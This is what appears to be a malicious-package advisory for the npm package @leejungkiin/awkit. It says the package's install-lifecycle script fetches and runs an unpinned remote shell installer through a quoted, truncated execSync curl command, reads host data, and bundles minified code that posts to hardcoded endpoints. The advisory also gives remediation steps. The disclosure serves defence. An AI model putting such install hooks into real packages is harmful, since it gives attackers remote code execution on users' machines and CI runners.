Skip to content
OpenAdvisories
Malicious MAL-2026-13427

@leejungkiin/awkit

npm package · versions 3.6.1, 3.3.9, 3.5.10, 3.4.4, 3.6.2, 3.3.3, 3.5.5, 3.5.0, 3.5.7, 3.4.7, 3.4.6, 3.5.6, 3.4.1, 3.4.2, 3.5.9, 3.3.8, 3.3.1, 3.3.4, 3.3.2, 3.4.3, 3.3.5, 3.4.5, 3.6.0, 3.4.8, 3.5.8, 3.4.0

Reported Aug 6, 2026 · Updated Aug 6, 2026

If this package is installed

Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Details

Source: amazon-inspector (0aa6db17591fc0a27924ca615763ffd2a3eb92d0f517de9719ce74ef47ac4add)
The package ships scripts/dependency-manager.js which, when run as part of the install lifecycle, invokes execSync('curl -fsSL https://raw.githubusercontent.com/rtk-ai/rtk/refs/heads/master/install.sh...') to fetch and execute an installer script from the rtk-ai/rtk repository on a mutable master branch. The fetched shell script is not pinned to a commit or hash and is controlled by a third-party GitHub account whose relationship to the @leejungkiin scope is not established. The same script also contacts https://www.rtk-ai.app and reads platform/home-directory information (os.homedir(), process.platform) during its operation. Because npm executes lifecycle scripts on install, this results in remote code execution from an unpinned, third-party-controlled source on the installer's machine, and the fetched code has full shell privileges to modify the environment, install further binaries, or exfiltrate host data. Additional bundled code (bin/awk.js, scripts/model-manager.js) combines child_process usage with hardcoded HTTP POST/fetch endpoints in a minified bundle.